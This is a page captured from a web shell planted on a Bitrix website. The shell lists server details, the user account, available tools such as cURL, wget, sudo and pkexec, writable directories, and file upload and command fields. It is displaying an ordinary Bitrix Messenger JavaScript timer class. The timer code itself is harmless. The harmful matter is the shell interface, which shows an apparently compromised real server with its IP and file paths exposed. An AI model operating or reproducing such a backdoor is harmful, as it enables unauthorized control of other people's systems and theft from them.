403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/im/lib/timer/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/im/lib/timer/src/timer.js
/**
 * Bitrix Messenger
 * Timer manager
 *
 * @package bitrix
 * @subpackage im
 * @copyright 2001-2019 Bitrix
 */

class Timer
{
	constructor()
	{
		this.list = {};

		this.updateInterval = 1000;

		clearInterval(this.updateIntervalId);
		this.updateIntervalId = setInterval(this.worker.bind(this), this.updateInterval);
	}

	start(name, id = 'default', time = 1, callback = null, callbackParams = {})
	{
		id = id == null? 'default': id;

		time = parseFloat(time);
		if (isNaN(time) || time <= 0)
		{
			return false;
		}

		time = time*1000;

		if (typeof this.list[name] === 'undefined')
		{
			this.list[name] = {};
		}

		this.list[name][id] = {
			'dateStop': new Date().getTime()+time,
			'callback': typeof callback === 'function'? callback: function() {},
			'callbackParams': callbackParams
		};

		return true;
	}

	has(name, id = 'default')
	{
		id = id == null? 'default': id;
		if (id.toString().length <= 0 || typeof this.list[name] === 'undefined')
		{
			return false;
		}

		return !!this.list[name][id];
	}

	stop(name, id = 'default', skipCallback)
	{
		id = id == null? 'default': id;

		if (id.toString().length <= 0 || typeof this.list[name] === 'undefined')
		{
			return false;
		}

		if (!this.list[name][id])
		{
			return true;
		}

		if (skipCallback !== true)
		{
			this.list[name][id]['callback'](id, this.list[name][id]['callbackParams']);
		}

		delete this.list[name][id];

		return true;
	}

	stopAll(skipCallback)
	{
		for (let name in this.list)
		{
			if (this.list.hasOwnProperty(name))
			{
				for (let id in this.list[name])
				{
					if(this.list[name].hasOwnProperty(id))
					{
						this.stop(name, id, skipCallback);
					}
				}
			}
		}
		return true;
	}

	worker()
	{
		for (let name in this.list)
		{
			if (!this.list.hasOwnProperty(name))
			{
				continue;
			}
			for (let id in this.list[name])
			{
				if(!this.list[name].hasOwnProperty(id) || this.list[name][id]['dateStop'] > new Date())
				{
					continue;
				}
				this.stop(name, id);
			}
		}
		return true;
	}

	clean()
	{
		clearInterval(this.updateIntervalId);
		this.stopAll(true);

		return true;
	}
}

export {Timer};


Youez - 2016 - github.com/yon3zu
LinuXploit